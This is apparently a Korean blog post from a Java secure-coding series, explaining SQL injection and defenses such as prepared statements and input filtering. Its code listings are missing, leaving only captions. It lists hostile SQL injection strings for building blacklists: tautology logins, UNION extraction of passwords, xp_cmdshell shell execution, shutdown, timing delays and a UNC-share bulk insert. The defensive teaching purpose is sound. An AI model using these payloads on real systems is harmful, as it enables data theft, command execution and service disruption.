[시큐어코딩-자바] 1. 입력 데이터 검증 및 표현 - SQL 삽입

류명운

·

2017. 1. 29. 17:56

반응형

[시큐어코딩-자바] 1. 입력 데이터 검증 및 표현 - SQL 삽입


입력 데이터 검증 및 표현

프로그램 입력 값에 대한 검증 누락 또는 부적절한 검증, 데이터의 잘못된 형식지정, 일관되지 않은 언어셋 사용 등으로 인해 발생되는 보안약점으로 SQL 삽입, 크로스사이트 스크립트(XSS) 등의 공격을 유발할 수 있다.


SQL 삽입(Improper Neutralization of Special Elements used in an SQL Command, SQL Injection)

1. 정의

데이터베이스(DB)와 연동된 웹 어플리케이션에서 입력된 데이터에 대한 유효성 검증을 하지 않을 경우, 공격자가 입력 폼 및 URL 입력란에 SQL 문을 삽입하여 DB로부터 정보를 열람하거나 조작할 수 있는 보안약점을 말한다.

<그림 1> SQL 삽입

위 <그림 1>에서 나타낸 것처럼, 취약한 웹 어플리케이션에서는 사용자로부터 입력된 값을 필터링 과정없이 넘겨받아 동적 쿼리(Dynamic Query)를 생성한다. 이는 개발자가 의도하지 않은 쿼리가 생성되어 정보유출에 악용될 수 있다.

2. 안전한 코딩기법

  • preparedStatement 클래스와 하위 메소드 excuteQuery(), excute(), executeUpdate()를 사용하는 것이 바람직하다.

  • preparedStatement 클래스를 사용할 수 없는 환경이라면, 입력값을 필터링 처리한 후 사용한다. 필터링 기준은 SQL구문 제한, 특수문자 제한, 길이제한을 복합적으로 사용한다.

3. 1 예제[1]

다음 <코드 1>은 안전하지 않은 코드의 예를 나타낸 것으로, 외부로부터 tableName과 name의 값을 받아서 SQL 쿼리를 생성하고 있으며, name의 값으로 name' OR 'a'='a를 입력하면 조작된 쿼리를 생성하는 문자열 전달이 가능하다.

<코드 1> 안전하지 않은 코드의 예

이를 안전한 코드로 변환하면 다음 <코드 2>와 같다. 외부로부터 인자를 받는 preparedStatement 객체를 상수 스트링으로 생성하고, 인자 부분을 setXXX 메소드로 설정하여, 외부의 입력이 쿼리문의 구조를 바꾸는 것을 방지하는 것이 필요하다.

<코드 2> 안전한 코드의 예

3. 2 예제[2]

다음 <코드 3> 예제는 http request로부터 사용자 ID와 암호를 추출하여 SQL 질의문을 생성하고 있다. 사용자 ID를 guest' OR ' a'='a'-- 로 설정할 경우, 질의 문은 다음과 같이 생성된다.

SELECT * FROM members WHERE userId = 'guest' OR 'a'='a'-- AND password = ''

이 질의문에서 WHERE절이 항상 참이므로 암호가 올바르지 않더라도 사용자의 정보를 얻을 수 있다.

<코드 3> 안전하지 않은 코드의 예

3. 3 예제[3] - makeSecureString 함수를 적용한 안전한 코드의 예

다음 <코드 4> 예제에서는 SQL 구문 생성 전에, 외부로부터 입력된 ID와 암호를 DB 질의문에 사용하기 안전한 형태로 함수(makeSecureString 함수)를 통하여 변경하였다.

makeSecureString 함수는 일반 문자열을 질의문의 인자로 사용해도 안전한 문자열로 바꾸는 함수이다. 이 함수는 다음 3가지의 제한 조건을 적용하여 안전한 문자열을 생성한다. 

  • ID와 암호 같은 인자의 길이 제한 - 공격 구문을 작성하게 되면 일반으로 ID, 암호의 길이가 길어지게 된다. 따라서 인자의 길이를 일정 길이 이하로 제한하게 되면 인자를 통하여 공격 구문을 삽입하는 것이 힘들어진다.

  • 인자에 SQL문에서 쓰이는 예약어의 삽입을 제한 - 인젝션(Injection) 공격 구문을 작성하기 위해서는, SQL문에서 쓰이는 예약어가 쓰일 가능성이 높다. 따라서 SQL문에 쓰이는 명령어를 블랙리스트에 등록하고 인자에서 강제적으로 삭제함으로써 공격을 차단할 수 있다.

  • 인자에 알파벳과 숫자를 제외한 문자의 사용을 제한 - 공격 구문을 작성할 때, 특수 문자(가장 대표적인 예가 ' 이다)를 사용할 가능성이 높다. 따라서 알파벳과 숫자를 제외한 나머지 문자들을 인자에서 강제적으로 삭제함으로써 공격에 의한 피해를 방지할 수 있다.

다음 <코드 4> 안전한 코드의 예에서는, 위의 두 번째, 세 번째 제한 조건을 적용하기 위해서 다음 정규식(Regular expression)을 사용하였다.

[^\\p{Alnum}] | select | delete | update | insert | create | alter | drop

위 정규식에서 [^\\p{Alnum}]는 알파벳과 숫자를 제외한 나머지 문자를 의미하고, select, delete, update, insert, create, alter, drop은 SQL 문에서 사용되는 예약어들이다. 이를 널 string("")으로 대체하여 안전한 문자열로 만들었다.

이 외에도 makeSecureString 함수에서 생성되는 문자열을 좀 더 안전하게 만들기 위한 방법은 다음과 같다.

  • 문자열의 길이 제한을 낮춘다.

  • 정규식에 포함되는 단어의 개수를 높인다. 보다 정밀한 방어를 위해서는 악용 가능성이 있는 SQL procedure명이나 SQL 명령어들을 필터링할 정규식에 포함(블랙리스트 개념으로 작동)시킨다.

<코드 4> 안전한 코드의 예

3. 4 예제[4] - Blind SQL injection 공격에서 사용될 소지가 있는 공격구문들

다음의 <표 1> 예제들은 Blind SQL injection 공격에서 사용될 소지가 있는 공격구문들을 열거한 것이다. 특정한 코드를 선별해서 막는, 블랙리스트에 의거한 필터링 방식을 사용할 때에는 다양한 형태의 SQL 함수들을 이용한 공격방법들을 참고하여 리스트를 만들어야 한다.

 공격구문  설명
 IF (1=1) SELECT 'true' ELSE SELECT 'false'  위험한 구문 허용
 SELECT CHAR(0x66)  위험한 함수사용 허용(다른 blind sql 공격구문에 자주 이용됨)
 SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))  위험한 함수사용 허용
 SELECT ASCII('a')  위험한 함수사용 허용
 SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members  위험한 구문 허용
 INSERT INTO members(id, user, pass) VALUES(1, "+SUBSTRING(@@version,1,10) , 10)  시스템 정보 노출
 exec master..xp_cmdshell 'dir'  위험한 명령어 사용(직접적인 쉘 실행가능)
 ';shutdown --  위험한 명령어 사용(시스템 down)
 SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--  True, False를 통해 데이터 값을 유추할 수 있음
 IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))  시스템 자원 소모 유도
 WAITFOR DELAY '0:0:10'--  시스템 자원 소모 유도
 MD5(), SHA1(), PASSWORD(), ENCODE(), COMPRESS(), ROW_COUNT(), SCHEMA(), VERSION()  위험한 함수 사용
 bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'  Windows UNC Share를 악용

<표 1> Blind SQL injection 공격에 사용될 지가 있는 구문들

크게 if, union 등의 구문을 이용한 방법과, 각종 sql 함수(exec 등)를 이용한 다양한 공격방법들을 소개하고 있다. 필터링 코드의 완성도는 막아야할 공격방법, 즉 블랙리스트를 만드는 작성자가 얼마나 공격 패턴을 많이 알고 있느냐에 따라 좌우된다.


참고 문헌

[1] 전자정부 SW 개발ㆍ운영자를 위한 Java 시큐어코딩 가이드, 행정안전부, 11-1311000-000330-10, 2012-09 - http://www.moi.go.kr

[2] CWE-89: Improper Neutralization of Special Elements used in an SQL Command(SQL Injection), http://cwe.mitre.org/data/definitions/89.html

[3] 2010 OWASP Top 10 - A1 Injection, https://www.owasp.org/index.php/Top_10_2010-A1

[4] 2011 SANS Top 25 - RANK 1 (CWE-89), http://cwe.mitre.org/top25/


반응형